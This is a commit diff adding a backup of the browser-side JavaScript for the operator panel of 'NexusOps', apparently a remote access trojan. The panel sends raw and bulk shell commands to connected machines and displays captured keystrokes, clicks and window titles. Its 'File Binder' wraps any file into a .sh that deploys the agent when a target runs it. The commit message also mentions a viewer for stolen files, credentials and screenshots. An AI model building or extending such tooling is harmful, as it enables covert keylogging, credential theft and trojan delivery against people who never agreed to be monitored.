feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts
This commit is contained in:
763
public/app.js.bak-1785766812
Normal file
763
public/app.js.bak-1785766812
Normal file
@@ -0,0 +1,763 @@
|
||||
// NexusOps Dashboard Application Logic
|
||||
|
||||
let nodesData = [];
|
||||
let commandHistory = [];
|
||||
let masterSystemLogs = [];
|
||||
let inputData = [];
|
||||
let currentFilter = 'all';
|
||||
let currentView = 'grid';
|
||||
let serverIp = window.location.hostname;
|
||||
let serverPort = window.location.port || '3000';
|
||||
let publicUrl = null;
|
||||
let telemetryChart = null;
|
||||
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
initWebSocket();
|
||||
initChart();
|
||||
updateServerEndpoint();
|
||||
});
|
||||
|
||||
function updateServerEndpoint() {
|
||||
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
||||
const placeholders = document.querySelectorAll('.server-url-placeholder');
|
||||
placeholders.forEach(el => el.textContent = endpoint);
|
||||
document.getElementById('navServerEndpoint').textContent = endpoint;
|
||||
const linkEl = document.getElementById('binaryDownloadLink');
|
||||
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
|
||||
}
|
||||
|
||||
function initWebSocket() {
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
ws.onopen = () => {
|
||||
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
|
||||
document.querySelector('.status-indicator').classList.add('online');
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const data = JSON.parse(event.data);
|
||||
if (data.type === 'NODES_UPDATE') {
|
||||
serverIp = data.serverIp || serverIp;
|
||||
serverPort = data.port || serverPort;
|
||||
publicUrl = data.publicUrl || publicUrl;
|
||||
updateServerEndpoint();
|
||||
|
||||
nodesData = data.nodes || [];
|
||||
commandHistory = data.commandHistory || [];
|
||||
masterSystemLogs = data.masterSystemLogs || [];
|
||||
inputData = data.inputData || [];
|
||||
renderDashboard();
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("Error parsing WebSocket payload:", e);
|
||||
}
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
|
||||
document.querySelector('.status-indicator').classList.remove('online');
|
||||
setTimeout(initWebSocket, 3000);
|
||||
};
|
||||
}
|
||||
|
||||
function renderDashboard() {
|
||||
renderOverviewStats();
|
||||
renderNodesGrid();
|
||||
renderAuditLogs();
|
||||
renderMasterSyslogs();
|
||||
renderIntelLog();
|
||||
checkForNewNodes();
|
||||
updateChartData();
|
||||
}
|
||||
|
||||
function renderOverviewStats() {
|
||||
const total = nodesData.length;
|
||||
const online = nodesData.filter(n => n.status === 'online').length;
|
||||
const offline = total - online;
|
||||
|
||||
let avgCpu = 0;
|
||||
if (online > 0) {
|
||||
const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
|
||||
avgCpu = Math.round(sumCpu / online);
|
||||
}
|
||||
|
||||
document.getElementById('statTotalNodes').textContent = total;
|
||||
document.getElementById('statOnlineNodes').textContent = online;
|
||||
document.getElementById('statOfflineNodes').textContent = offline;
|
||||
document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
|
||||
}
|
||||
|
||||
function renderNodesGrid() {
|
||||
const container = document.getElementById('nodesGrid');
|
||||
const search = document.getElementById('searchInput').value.toLowerCase();
|
||||
|
||||
let filtered = nodesData.filter(node => {
|
||||
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||
const matchesSearch = !search ||
|
||||
node.hostname.toLowerCase().includes(search) ||
|
||||
node.ip.toLowerCase().includes(search) ||
|
||||
node.platform.toLowerCase().includes(search) ||
|
||||
node.id.toLowerCase().includes(search);
|
||||
return matchesFilter && matchesSearch;
|
||||
});
|
||||
|
||||
if (filtered.length === 0) {
|
||||
container.innerHTML = `
|
||||
<div class="empty-state">
|
||||
<i class="fa-solid fa-satellite-dish"></i>
|
||||
<h3>No Connected Agents Found</h3>
|
||||
<p>No computers match your filter. Download the agent installer to link machines.</p>
|
||||
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
|
||||
</div>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = filtered.map(node => {
|
||||
const isOnline = node.status === 'online';
|
||||
const osIcon = getOsIcon(node.platform);
|
||||
|
||||
return `
|
||||
<div class="node-card ${isOnline ? 'online' : 'offline'}">
|
||||
<div class="card-header">
|
||||
<div class="node-info-main">
|
||||
<div class="platform-badge-icon">
|
||||
<i class="${osIcon}"></i>
|
||||
</div>
|
||||
<div class="node-title">
|
||||
<h3>${escapeHtml(node.hostname)}</h3>
|
||||
<span>${node.ip} • ${node.osName || node.platform}</span>
|
||||
</div>
|
||||
</div>
|
||||
<span class="status-badge ${isOnline ? 'online' : 'offline'}">
|
||||
<span class="status-indicator ${isOnline ? 'online' : ''}"></span>
|
||||
${isOnline ? 'Online' : 'Offline'}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div class="metrics-container">
|
||||
<div class="metric-bar-group">
|
||||
<div class="metric-bar-label">
|
||||
<span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
|
||||
<span>${node.cpuUsage}%</span>
|
||||
</div>
|
||||
<div class="metric-bar-bg">
|
||||
<div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="metric-bar-group">
|
||||
<div class="metric-bar-label">
|
||||
<span><i class="fa-solid fa-memory"></i> Memory</span>
|
||||
<span>${node.memUsage}%</span>
|
||||
</div>
|
||||
<div class="metric-bar-bg">
|
||||
<div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="metric-bar-group">
|
||||
<div class="metric-bar-label">
|
||||
<span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
|
||||
<span>${node.diskUsage}%</span>
|
||||
</div>
|
||||
<div class="metric-bar-bg">
|
||||
<div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card-footer">
|
||||
<span style="font-size: 0.75rem; color: var(--text-muted)">
|
||||
<i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
|
||||
</span>
|
||||
<div class="node-actions">
|
||||
<button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
|
||||
<i class="fa-solid fa-bolt"></i>
|
||||
</button>
|
||||
<button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
|
||||
<i class="fa-solid fa-sliders"></i> Control
|
||||
</button>
|
||||
<button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
|
||||
<i class="fa-solid fa-trash-can"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
}
|
||||
|
||||
function renderAuditLogs() {
|
||||
const container = document.getElementById('auditLogContent');
|
||||
document.getElementById('logCount').textContent = `${commandHistory.length} events`;
|
||||
|
||||
if (commandHistory.length === 0) {
|
||||
container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = commandHistory.map(item => {
|
||||
let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
|
||||
return `
|
||||
<div class="log-entry ${statusClass}">
|
||||
[${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
|
||||
${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
container.scrollTop = container.scrollHeight;
|
||||
}
|
||||
|
||||
function renderMasterSyslogs() {
|
||||
const container = document.getElementById('syslogStreamContent');
|
||||
if (!container) return;
|
||||
|
||||
const countEl = document.getElementById('syslogCount');
|
||||
const searchInput = document.getElementById('logSearchInput');
|
||||
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
|
||||
|
||||
let filtered = masterSystemLogs;
|
||||
if (query) {
|
||||
filtered = masterSystemLogs.filter(l =>
|
||||
l.hostname.toLowerCase().includes(query) ||
|
||||
l.entry.toLowerCase().includes(query)
|
||||
);
|
||||
}
|
||||
|
||||
if (countEl) countEl.textContent = `${filtered.length} entries`;
|
||||
|
||||
if (filtered.length === 0) {
|
||||
container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = filtered.map(log => {
|
||||
let logText = escapeHtml(log.entry);
|
||||
let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
|
||||
let isWarn = logText.toLowerCase().includes('warn');
|
||||
let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
|
||||
|
||||
return `
|
||||
<div class="log-entry ${logClass}">
|
||||
[${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
container.scrollTop = container.scrollHeight;
|
||||
}
|
||||
|
||||
function initChart() {
|
||||
const ctx = document.getElementById('telemetryChart').getContext('2d');
|
||||
telemetryChart = new Chart(ctx, {
|
||||
type: 'line',
|
||||
data: {
|
||||
labels: [],
|
||||
datasets: [
|
||||
{
|
||||
label: 'Avg CPU Load (%)',
|
||||
borderColor: '#06b6d4',
|
||||
backgroundColor: 'rgba(6, 182, 212, 0.1)',
|
||||
fill: true,
|
||||
data: [],
|
||||
tension: 0.4
|
||||
},
|
||||
{
|
||||
label: 'Avg RAM Load (%)',
|
||||
borderColor: '#8b5cf6',
|
||||
backgroundColor: 'rgba(139, 92, 246, 0.1)',
|
||||
fill: true,
|
||||
data: [],
|
||||
tension: 0.4
|
||||
}
|
||||
]
|
||||
},
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
scales: {
|
||||
x: {
|
||||
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
||||
ticks: { color: '#9ca3af' }
|
||||
},
|
||||
y: {
|
||||
min: 0,
|
||||
max: 100,
|
||||
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
||||
ticks: { color: '#9ca3af' }
|
||||
}
|
||||
},
|
||||
plugins: {
|
||||
legend: { labels: { color: '#f3f4f6' } }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function updateChartData() {
|
||||
if (!telemetryChart) return;
|
||||
const timeStr = new Date().toLocaleTimeString();
|
||||
|
||||
const onlineNodes = nodesData.filter(n => n.status === 'online');
|
||||
const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
|
||||
const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
|
||||
|
||||
telemetryChart.data.labels.push(timeStr);
|
||||
telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
|
||||
telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
|
||||
|
||||
if (telemetryChart.data.labels.length > 15) {
|
||||
telemetryChart.data.labels.shift();
|
||||
telemetryChart.data.datasets[0].data.shift();
|
||||
telemetryChart.data.datasets[1].data.shift();
|
||||
}
|
||||
telemetryChart.update();
|
||||
}
|
||||
|
||||
function getOsIcon(platform) {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('win')) return 'fa-brands fa-windows';
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
|
||||
return 'fa-brands fa-linux';
|
||||
}
|
||||
|
||||
function escapeHtml(str) {
|
||||
return (str || '').replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
|
||||
}
|
||||
|
||||
function formatTime(timestamp) {
|
||||
if (!timestamp) return 'Never';
|
||||
const diff = Math.floor((Date.now() - timestamp) / 1000);
|
||||
if (diff < 5) return 'Just now';
|
||||
if (diff < 60) return `${diff}s ago`;
|
||||
return `${Math.floor(diff / 60)}m ago`;
|
||||
}
|
||||
|
||||
function setFilter(filter, el) {
|
||||
currentFilter = filter;
|
||||
document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
|
||||
el.classList.add('active');
|
||||
renderNodesGrid();
|
||||
}
|
||||
|
||||
function filterNodes() {
|
||||
renderNodesGrid();
|
||||
}
|
||||
|
||||
function switchView(view, el) {
|
||||
currentView = view;
|
||||
document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
|
||||
el.classList.add('active');
|
||||
renderNodesGrid();
|
||||
}
|
||||
|
||||
function openInstallerModal() {
|
||||
updateServerEndpoint();
|
||||
document.getElementById('installerModal').classList.add('active');
|
||||
}
|
||||
|
||||
function closeInstallerModal() {
|
||||
document.getElementById('installerModal').classList.remove('active');
|
||||
}
|
||||
|
||||
function switchTab(tabName) {
|
||||
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
||||
|
||||
event.currentTarget.classList.add('active');
|
||||
document.getElementById(`tab-${tabName}`).classList.add('active');
|
||||
}
|
||||
|
||||
function switchControlTab(tabName, btnEl) {
|
||||
document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||
document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
|
||||
|
||||
btnEl.classList.add('active');
|
||||
document.getElementById(`ctrl-${tabName}`).style.display = 'block';
|
||||
}
|
||||
|
||||
function copyCode(elementId, btn) {
|
||||
const text = document.getElementById(elementId).innerText;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.innerHTML;
|
||||
btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
|
||||
btn.style.background = 'var(--accent-emerald)';
|
||||
setTimeout(() => {
|
||||
btn.innerHTML = original;
|
||||
btn.style.background = '';
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
|
||||
function openCommandModal(nodeId, hostname) {
|
||||
document.getElementById('cmdModalNodeId').value = nodeId;
|
||||
document.getElementById('cmdModalHostname').textContent = hostname;
|
||||
document.getElementById('cmdInput').value = '';
|
||||
document.getElementById('commandModal').classList.add('active');
|
||||
}
|
||||
|
||||
function closeCommandModal() {
|
||||
document.getElementById('commandModal').classList.remove('active');
|
||||
}
|
||||
|
||||
function setQuickCmd(cmd) {
|
||||
document.getElementById('cmdInput').value = cmd;
|
||||
}
|
||||
|
||||
function submitNodeAction(actionType, extraPayload = {}) {
|
||||
const nodeId = document.getElementById('cmdModalNodeId').value;
|
||||
let payload = { ...extraPayload };
|
||||
|
||||
if (actionType === 'raw_command') {
|
||||
const command = document.getElementById('cmdInput').value.trim();
|
||||
if (!command) return;
|
||||
payload.command = command;
|
||||
}
|
||||
|
||||
fetch(`/api/nodes/${nodeId}/command`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ actionType, payload, command: payload.command })
|
||||
})
|
||||
.then(res => res.json())
|
||||
.then(data => {
|
||||
if (data.success) {
|
||||
closeCommandModal();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function submitServiceAction(action) {
|
||||
const service = document.getElementById('serviceNameInput').value.trim();
|
||||
if (!service) return alert("Please enter a service name (e.g. nginx)");
|
||||
submitNodeAction('manage_service', { service, action });
|
||||
}
|
||||
|
||||
function submitKillProcess() {
|
||||
const pid = document.getElementById('killPidInput').value;
|
||||
if (!pid) return alert("Please enter a valid PID");
|
||||
submitNodeAction('kill_process', { pid });
|
||||
}
|
||||
|
||||
function openBulkModal() {
|
||||
document.getElementById('bulkModal').classList.add('active');
|
||||
}
|
||||
|
||||
function closeBulkModal() {
|
||||
document.getElementById('bulkModal').classList.remove('active');
|
||||
}
|
||||
|
||||
function submitBulkCommand() {
|
||||
const command = document.getElementById('bulkCmdInput').value.trim();
|
||||
if (!command) return;
|
||||
|
||||
fetch('/api/nodes/bulk-command', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
|
||||
})
|
||||
.then(res => res.json())
|
||||
.then(data => {
|
||||
if (data.success) {
|
||||
closeBulkModal();
|
||||
alert(`Task broadcasted to ${data.count} online network nodes!`);
|
||||
} else {
|
||||
alert(data.error || "Failed to dispatch bulk command");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function submitTagUpdate() {
|
||||
const tags = document.getElementById('tagInput').value.trim();
|
||||
if (!tags) return alert("Please enter at least one tag");
|
||||
submitNodeAction('update_tags', { tags });
|
||||
}
|
||||
|
||||
function submitHeartbeatRate() {
|
||||
const interval = document.getElementById('heartbeatInput').value;
|
||||
if (!interval) return alert("Please enter a valid interval in seconds");
|
||||
submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
|
||||
}
|
||||
|
||||
function submitSystemReboot() {
|
||||
if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
|
||||
submitNodeAction('reboot_system');
|
||||
}
|
||||
}
|
||||
|
||||
function deleteNode(nodeId) {
|
||||
if (confirm("Are you sure you want to unregister this node?")) {
|
||||
fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
|
||||
}
|
||||
}
|
||||
|
||||
// ── Master Intelligence Log Rendering ──
|
||||
|
||||
function renderIntelLog() {
|
||||
const container = document.getElementById('intelLogContent');
|
||||
if (!container) return;
|
||||
|
||||
const nodeFilter = document.getElementById('intelNodeFilter');
|
||||
const typeFilter = document.getElementById('intelTypeFilter');
|
||||
const searchInput = document.getElementById('intelSearchInput');
|
||||
|
||||
// Populate node filter dropdown dynamically
|
||||
if (nodeFilter) {
|
||||
const currentVal = nodeFilter.value;
|
||||
nodeFilter.innerHTML = '<option value="all">All Machines</option>';
|
||||
nodesData.forEach(n => {
|
||||
const sel = n.id === currentVal ? ' selected' : '';
|
||||
nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
|
||||
});
|
||||
}
|
||||
|
||||
const selNodeId = nodeFilter ? nodeFilter.value : 'all';
|
||||
const selType = typeFilter ? typeFilter.value : 'all';
|
||||
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
|
||||
|
||||
// Show machine details when a specific node is selected
|
||||
renderMachineDetails(selNodeId);
|
||||
|
||||
// Filter input data
|
||||
let filtered = inputData;
|
||||
if (selNodeId !== 'all') {
|
||||
filtered = filtered.filter(e => e.nodeId === selNodeId);
|
||||
}
|
||||
if (selType !== 'all') {
|
||||
filtered = filtered.filter(e => e.eventType === selType);
|
||||
}
|
||||
if (query) {
|
||||
filtered = filtered.filter(e => {
|
||||
const dataStr = JSON.stringify(e.data || '').toLowerCase();
|
||||
return dataStr.includes(query) ||
|
||||
(e.windowTitle || '').toLowerCase().includes(query) ||
|
||||
(e.hostname || '').toLowerCase().includes(query);
|
||||
});
|
||||
}
|
||||
|
||||
const countEl = document.getElementById('intelCount');
|
||||
if (countEl) countEl.textContent = `${filtered.length} events`;
|
||||
|
||||
if (filtered.length === 0) {
|
||||
container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = filtered.map(ev => {
|
||||
const timeStr = new Date(ev.timestamp).toLocaleTimeString();
|
||||
const hostStr = escapeHtml(ev.hostname || 'Unknown');
|
||||
let icon, cssClass, detailStr;
|
||||
|
||||
switch (ev.eventType) {
|
||||
case 'keystroke':
|
||||
icon = '<i class="fa-solid fa-keyboard"></i>';
|
||||
cssClass = 'log-entry intel-keystroke';
|
||||
detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
|
||||
break;
|
||||
case 'click':
|
||||
icon = '<i class="fa-solid fa-arrow-pointer"></i>';
|
||||
cssClass = 'log-entry intel-click';
|
||||
detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
|
||||
break;
|
||||
case 'scroll':
|
||||
icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
|
||||
cssClass = 'log-entry intel-scroll';
|
||||
detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
|
||||
break;
|
||||
default:
|
||||
icon = '<i class="fa-solid fa-circle-dot"></i>';
|
||||
cssClass = 'log-entry';
|
||||
detailStr = escapeHtml(JSON.stringify(ev.data || {}));
|
||||
}
|
||||
|
||||
const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';
|
||||
|
||||
return `<div class="${cssClass}">
|
||||
<span style="color:var(--primary-cyan);">[${timeStr}]</span>
|
||||
${icon}
|
||||
<strong style="color:var(--primary-purple);">${hostStr}</strong>
|
||||
${detailStr}${winStr}
|
||||
</div>`;
|
||||
}).join('');
|
||||
container.scrollTop = container.scrollHeight;
|
||||
}
|
||||
|
||||
function renderMachineDetails(nodeId) {
|
||||
const bar = document.getElementById('machineDetailsBar');
|
||||
if (!bar) return;
|
||||
|
||||
if (nodeId === 'all') {
|
||||
const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
|
||||
if (machinesWithInput.length === 0) {
|
||||
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
|
||||
} else {
|
||||
bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const node = nodesData.find(n => n.id === nodeId);
|
||||
if (!node) {
|
||||
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
|
||||
return;
|
||||
}
|
||||
|
||||
const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
|
||||
const osIcon = getOsIcon(node.platform);
|
||||
|
||||
bar.innerHTML = `
|
||||
<div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
|
||||
<div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
|
||||
<div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
|
||||
`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds) {
|
||||
if (!seconds || seconds <= 0) return 'N/A';
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
// ── File Binder ──
|
||||
|
||||
let binderFile = null;
|
||||
|
||||
function openBinderModal() {
|
||||
updateServerEndpoint();
|
||||
document.getElementById('binderModal').classList.add('active');
|
||||
resetBinder();
|
||||
}
|
||||
|
||||
function closeBinderModal() {
|
||||
document.getElementById('binderModal').classList.remove('active');
|
||||
resetBinder();
|
||||
}
|
||||
|
||||
function resetBinder() {
|
||||
binderFile = null;
|
||||
document.getElementById('binderFileInput').value = '';
|
||||
document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
|
||||
document.getElementById('binderDropzone').classList.remove('has-file');
|
||||
document.getElementById('binderSubmitBtn').disabled = true;
|
||||
document.getElementById('binderStatus').style.display = 'none';
|
||||
}
|
||||
|
||||
function handleBinderFile(input) {
|
||||
if (input.files && input.files[0]) {
|
||||
binderFile = input.files[0];
|
||||
document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
|
||||
document.getElementById('binderDropzone').classList.add('has-file');
|
||||
document.getElementById('binderSubmitBtn').disabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
async function submitBinder() {
|
||||
if (!binderFile) return;
|
||||
|
||||
const btn = document.getElementById('binderSubmitBtn');
|
||||
const status = document.getElementById('binderStatus');
|
||||
btn.disabled = true;
|
||||
btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
|
||||
status.style.display = 'block';
|
||||
status.className = '';
|
||||
status.textContent = 'Processing file...';
|
||||
|
||||
const formData = new FormData();
|
||||
formData.append('file', binderFile);
|
||||
|
||||
try {
|
||||
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
|
||||
if (!resp.ok) {
|
||||
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||
}
|
||||
|
||||
const blob = await resp.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = binderFile.name + '.sh';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
document.body.removeChild(a);
|
||||
URL.revokeObjectURL(url);
|
||||
|
||||
status.className = 'success';
|
||||
status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
|
||||
} catch (e) {
|
||||
status.className = 'error';
|
||||
status.textContent = `❌ ${e.message}`;
|
||||
}
|
||||
|
||||
btn.disabled = false;
|
||||
btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
|
||||
}
|
||||
|
||||
// ── Kill Switch ──
|
||||
function killSwitch() {
|
||||
if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
|
||||
fetch('/api/nodes/killswitch', { method: 'POST' })
|
||||
.then(r => r.json())
|
||||
.then(d => {
|
||||
if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
|
||||
else alert(d.error || 'No nodes to kill.');
|
||||
});
|
||||
}
|
||||
|
||||
// ── Ping Node ──
|
||||
function pingNode(nodeId, hostname) {
|
||||
fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
|
||||
.then(r => r.json())
|
||||
.then(d => {
|
||||
if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
|
||||
});
|
||||
}
|
||||
|
||||
// ── New Node Sound & Notification ──
|
||||
let knownNodeIds = new Set();
|
||||
function checkForNewNodes() {
|
||||
nodesData.forEach(node => {
|
||||
if (!knownNodeIds.has(node.id) && node.status === 'online') {
|
||||
knownNodeIds.add(node.id);
|
||||
// Browser notification
|
||||
if (Notification.permission === 'granted') {
|
||||
new Notification('🖥️ New Agent Connected', {
|
||||
body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
|
||||
icon: '/favicon.ico'
|
||||
});
|
||||
}
|
||||
// Audio ping
|
||||
try {
|
||||
const ctx = new (window.AudioContext || window.webkitAudioContext)();
|
||||
const osc = ctx.createOscillator();
|
||||
const gain = ctx.createGain();
|
||||
osc.connect(gain); gain.connect(ctx.destination);
|
||||
osc.frequency.setValueAtTime(880, ctx.currentTime);
|
||||
osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
|
||||
gain.gain.setValueAtTime(0.3, ctx.currentTime);
|
||||
gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
|
||||
osc.start(ctx.currentTime);
|
||||
osc.stop(ctx.currentTime + 0.3);
|
||||
} catch(e) {}
|
||||
}
|
||||
});
|
||||
// Also mark offline nodes
|
||||
nodesData.forEach(node => knownNodeIds.add(node.id));
|
||||
}
|
||||
|
||||
// Request notification permission on first interaction
|
||||
document.addEventListener('click', () => {
|
||||
if (Notification.permission === 'default') Notification.requestPermission();
|
||||
}, { once: true });
|
||||
Reference in New Issue
Block a user